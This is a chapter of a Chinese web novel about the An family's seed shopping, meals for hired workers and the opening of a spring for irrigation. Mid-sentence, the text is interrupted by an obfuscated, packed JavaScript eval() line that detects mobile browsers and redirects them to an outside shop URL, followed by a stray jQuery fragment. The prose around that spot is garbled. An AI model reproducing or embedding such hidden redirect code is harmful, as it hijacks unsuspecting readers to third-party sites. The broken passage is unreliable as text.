23
李掌柜虽然心里瞧不上安逸的夸口,但是毕竟是大店掌柜的,面子上做得很足。那双阅人无数的眼睛仅仅在安逸身上停留了一瞬,他便笑着拱手道:“姑娘说笑了。”又招呼众人“吃好喝好”,便不再耽搁,转身下楼去了。
安乐瞧着李掌柜的背影,鄙夷道:“啧啧啧,瞅瞅那副奸商嘴脸!刚刚在曹家面前点头哈腰,恨不得把脑袋点进肚子里去,苦苦哀求曹家莫要涨价。一转眼,对着我们,腰也直了,声也硬了,看人的眼神都变了。我们好心好意想替他解决难题,他倒好,拿我们当笑话看。”
安逸在桌子底下轻轻踢了踢安乐的鞋尖,用眼神示意她别再说了。
一顿饭吃完,安家众人和王老夫妇俩在春晖楼门口作别。
安乐挽着王老夫人的胳膊,甜甜地说:“王老夫人,我插扦的荷花仙子长势不错,改天来望仙坡玩,点评点评我种的荷花仙子。”
王老夫人笑得脸上的皱纹都开出了花,拉着安乐的手不肯放,说:“好好好,一定来,下回来给你带我新腌的萝卜干。”
送走了王老夫妇,安逸带着一行人继续在镇上采买。
晌午时分,街上的行人渐渐少了,摊贩们的吆喝声倒是依旧此起彼伏。
安逸拿着采购清单,走在最前面,一样一样地进行采买,陈翠莲和安心并肩走在后面,时不时给到安逸一些采买建议和意见——砍价和品控。
安乐殿后,手里举着一串刚买的麦芽糖棒,一边吃一边东张西望,嘴角沾了一圈亮晶晶的糖渍。
林大有走在最后面,背上背着,肩上扛着,手里提着,十分尽职尽责。
路过一家成衣铺子,陈翠莲叫停,安心陪着她走了进去。
陈翠莲也不多话,看了一圈后,直接指着两套短款的粗布衣衫,让老板取下来。
她把衣裳摊在柜台上,用手摸了摸布料,翻过来看了看针脚,又提起衣领对着门口的光线照了照,然后她转过身,朝门口喊了一声:“大有,你进来一下。”
林大有扛正在门口仰头喝水,听到招呼,忙停下动作走了进去。
“穿上试试。”
见陈翠莲给自己挑的衣服,他红着脸,连连摆手不要。
陈翠莲道:“大有,这些日子辛苦你了,这衣衫,算是谢礼。”
“夫人,安逸已经付过工钱了,我知你们经济也不宽裕,莫要再胡乱花钱。”
两人互相推搡,安心劝道:“大有叔,您看你这衣服都磨破了,就别再推辞了。”
“破了回去补补就是,我一个粗人,不讲究这些。更何款这衣裳穿在我身上也是糟蹋了,没几天就会磨破的。”林大有挠了挠头。
陈翠莲见状,也不再勉强,放下那两套成衣,说:“那等回去了,你把要缝补的衣服拿来,我和安心给你缝补一番。”
林大有愣了一下,然后低下头,“嗯”了一声。
成衣铺老板见到手的生意没做成,脸色便不太好看,收衣服挂衣服也没个轻重。
听到里面叮铃哐当的声音,安逸直接拉着几人走了出去,可不愿受这份无名气。
一行人去到老张种子铺。
见安逸一行人过来,老张连忙把秤放下,两手在围裙上蹭了蹭,笑着迎上来。
“安三姑娘来了?上回的芥菜籽种得怎么样?出苗了没有?”
“出得挺好,苗也壮实。”安逸没有多寒暄,直接切入正题,“张伯,我今天想跟你打听一样东西,翡翠菜的种子,你这儿有没有?”
老张一听就开始摇头:“这菜曹家看得紧,除了王庄搞到过几株,试种失败后,就再也没有听说谁家有这种子。”
安逸原本就是抱着侥幸的心态来这儿打听的,得到的结果与预期一致,倒也说不上有多失望。如果种子真的这么容易弄到手,曹家的垄断早就被人打破了,也轮不到她来捡这个便宜。
她又问老张:“之前说的矮脚麦,有了吗?”
老张一听,两眼放光:“这个有了,三姑娘稍等,我去给你取。”
老张抱着一袋麦种过来,又是一顿大夸特夸。
安逸摸着麦种,又问:“这矮脚麦,真的有市场吗?”
“三姑娘说笑了。这麦子可是最普遍的口粮啊,自己吃也好,卖也好,只要三姑娘能种出来,完全不缺销路,缺的是量!不然我那亲戚也不会千辛万苦带回来种不是!”老张生怕这袋种子砸在手里,连忙道,“若是姑娘担心销路,我老张拍胸脯保证,一定给姑娘好价卖出去!”
“真的?”安逸看着老张一脸笃定,笑着道,“好,张伯,这些矮脚麦种子我全要了,再给我来一些你这儿产量最高的麦种。”
“好嘞!”老张立刻眉开眼笑,拎出一袋麦种,粒粒浑圆饱满。
安逸刚付完钱离开,人还没走远,就听到身后传来了老张和隔壁铺子老板的对话。
种子铺隔壁是一家卖竹编杂货的小店,老板是个瘦瘦的中年人,正蹲在门口用竹篾编一个簸箕,手里活没停,嘴上也没闲着。
“老张,什么事儿这么高兴?脸都快笑烂了。”隔壁铺子的人问。
老张的语气里是藏都藏不住的得意,安逸远远就能听出他声音里的兴奋:“今天可遇着慧眼识种的了!有人买了我的矮脚麦和高粮红,全买走了!我就说嘛,总有识货的人!”
谁知对方听完,不但没有替老张高兴,反而“呸”地往地上啐了一口,语气里全是不齿:“老张,做人不能这么缺德吧?你那矮脚麦和高粮红,去年把人家坑成什么样了?”
“人家辛辛苦苦种了一年地,来年颗粒无收,拖家带口来你铺子门口骂了三天,你躲到乡下去都没能了事,愣是赔了钱。今年你又卖这俩种子,怕是陈年的了吧?更不行了!你这不是坑人吗?仔细人家明年上门来找你的麻烦,照样逼得你赔钱才得安生!”
安逸瞬间背后一凉,这么惨的吗?
她刚想回去退种子,谁知系统判定这俩都是良种,只要经过合理改良,必定丰收!
安逸放下心,她刚刚要买高产麦种也是为了中和性状,培育高产又耐旱的麦子,毕竟我泱泱华夏,谁还不知道袁隆平爷爷的故事,谁还没听过禾下乘凉梦?
回到望仙坡,太阳已经落山,最后一抹余晖把坡顶的歪脖子树染成了暗红色,几只归巢的乌鸦在枝头哑哑地叫了两声,又扑棱棱地飞走了。
安家院子里那个刚搬了家的陶盆里,荷花仙子在暮色里静静地立着,投下一小片淡淡的影子。
安逸打开微型试验田,黍、芥菜、黄豆、稻谷,都已经完成了发芽、生长、成熟、结果。
安逸将微型实验田里的土壤和各块田地的作物产量一一记录好,立刻将矮脚麦和高粮红种下去,不消一会儿,两组麦种就已经发芽,显示二十四小时后麦苗成熟,四十八小时后将会结穗。
安逸心里踏实了,四十八小时,两天后她就能拿到第一批麦穗的数据,穗长、穗粒数、千粒重、茎秆强度……这些数据会告诉她哪个品种更适合望仙坡的沙土地,哪个配比的改良剂效果最好。
她扭头一看,安乐不知什么时候已经缩在铺盖里睡着了。
安逸也跟着躺平,静静地等待明天王老师傅的开泉眼工程。
翌日,安家四人起了个大早,天还没亮,几人便吃过了早饭,开始给王老师傅和工匠们准备午饭。
有了之前开垦荒地的经验,陈翠莲已经苏醒了对五六个力工口粮的判断能力。
她将面团揉到表面光滑,揪成拳头大小的剂子,整整齐齐地码在蒸笼里,不一会儿,馒头的香味弥漫在整个院子里。
蒸完馒头,她又把昨天刚买的新米,淘了淘,上锅蒸煮,灶膛里的柴火烧得正旺,不一会儿,白色的水蒸汽就从锅盖的缝隙里冒出来,带着一股纯粹的饭香。
光有主食还不够,昨天,陈翠莲特意让屠夫切了肥膘肉和五花肉。
白花花的肥膘肉在案板上颤颤巍巍地晃,她利落地切了大块,下锅煎得焦黄,熬出一锅猪油。
五花肉则切了厚块,放足了酱油和八角,肉块在热油里煎到两面金黄,加了水盖上锅盖焖。焖到一半,她掀开锅盖翻了个面,肉香混合着八角和酱油的气息飘出来,勾得正在晾风吹肉的安乐和安心连连咽着口水。
两人拉着安逸一齐围到大铁锅前,像嗷嗷待哺
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600145|204804||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的三只雏鸟,求着鸟妈妈喂肉吃。
没想到真正的鸟儿也来光顾了,刚刚晾上的风吹肉正在被鸟儿啄,被虫子咬,于是安乐喜提赶鸟师的称号,她拿了一根绑着布条的杆子,在院子转来转去。
王老师傅带着工匠们来的时候,院子里弥漫着肉香、米香、馒头香,一群人直接深呼吸了两口气才进院子。
“我的老天爷,这还没到饭点,光闻着我就饿了。”
陈翠莲用围裙擦了把汗,笑着朝他们扬了扬手:“兄弟们辛苦了,中午管饭,敞开了吃!”
众人也不多话,照着图纸就猛猛干。
到了饭点,陈翠莲朝坡上喊了一声:“开饭了!”
一群人立刻跑步下山,也不客气,端起碗就猛猛炫饭。
大口吃肉就是爽!
众人埋头干完饭,放下筷子连连陈赞陈翠莲的手艺好,比起那春晖楼的大厨,也不遑多让。
陈翠莲被夸得喜笑颜开,又给众人倒酒:“各位兄弟辛苦了,吃饱喝足,才有力气干活!”
安心也跟着帮忙,笑着道:“若是吃着爽口,早上馒头刚出锅,更是宣软,欢迎各位大师傅来吃早饭。”
大家都以为这话是主家客气,毕竟在别的雇主家干活,管一顿午饭已经是标准待遇了,有的甚至只管粗茶淡饭,连肉星子都见不着。
安家这么大方,早饭肯定只是句客套话,谁也没当回事儿,只是纷纷说“客气客气”“不用麻烦”“早饭随便对付一口就行了”。
谁知有两个王庄的工匠当真了。
两人翌日一大早就赶过来,就为了蹭上一口安家的早饭。
两人嘻嘻笑着:“陈大嫂的厨艺着实不错!”
“就是!还真没哪个主家的饭有这么好吃的!”
两人对着陈翠莲就是一顿夸,一连两日,都是如此。其他几个得知真的能吃早饭,都是一大早就来了。
工匠们来得早,自然开工也早,王老师傅也被逼着卷了起来。但他年事已高,来回奔波十分不便,便在林大有家暂住。
原本计划需要十天的工期,愣是七天就完工了。
王老师傅都觉得不可思议。
“我打了大半辈子井,头一回被工人催着上工。”王老师傅坐在安家的院子里喝茶的时候,对安逸感叹道。
正式开眼这天,整个望仙坡都笼罩在一种郑重的氛围里。
晨光从东边的山脊背后漫上来,把北坡的灌木丛染成一片淡金色,几只早起的小鸟在灌木丛里啁啾啁啾地叫着,像是在提前庆祝。
王老师傅站在泉眼前面,表情比平时更严肃,手里拿着一根长竹竿,最后一次检查引水口的闸门。
“没问题了。”他直起腰,把竹竿递给旁边的石头,朝安逸点了点头。
一声炮响,安家正式开泉眼引水。
陈翠莲在水井口,那水井口的水泵用铸铁和榆木拼接而成,手柄打磨得光滑顺手。她两只手握住手柄,用力往下压,第一下压下去的时候很沉,水泵发出“咕噜咕噜”的吸气声,然后是第二下、第三下——
忽然,一股清冽的泉水从泵口涌了出来。
水流顺着预先挖好的暗渠,一层一层经过沉淀池、中和池、净化池,缓缓流到安家后院的蓄水池。水从蓄水池又进入管道,被引入望仙坡的田地,沿着田垄之间的浅沟往前推进,走过的地方,土壤从干燥的灰黄色变成了湿润的深褐色。
阳光照在水面上,像是把整片田地点缀成了一片流动的碎银。
王老师傅连连点头:“成功了!”
安逸掺着王老师傅往安家后院走,后院的蓄水池旁是一口大铁锅,安乐正将蓄水池里的水往大铁锅里舀,安乐则往灶台里一顿塞柴火,大铁锅里泉水咕嘟,热气腾腾。
热气飘到一扇木质屏风后面,里面是一个大大的木质澡盆。
这一切,完美地还原了安逸的图纸。
“三小姐,可还满意?”王老师傅捋了捋白花花的胡须,笑着问安逸,眼角深深的皱纹里藏着掩饰不住的得意。
“满意!我们可太满意了!谢谢王老师傅!”安逸忙不迭地说,声音里的喜悦毫无保留。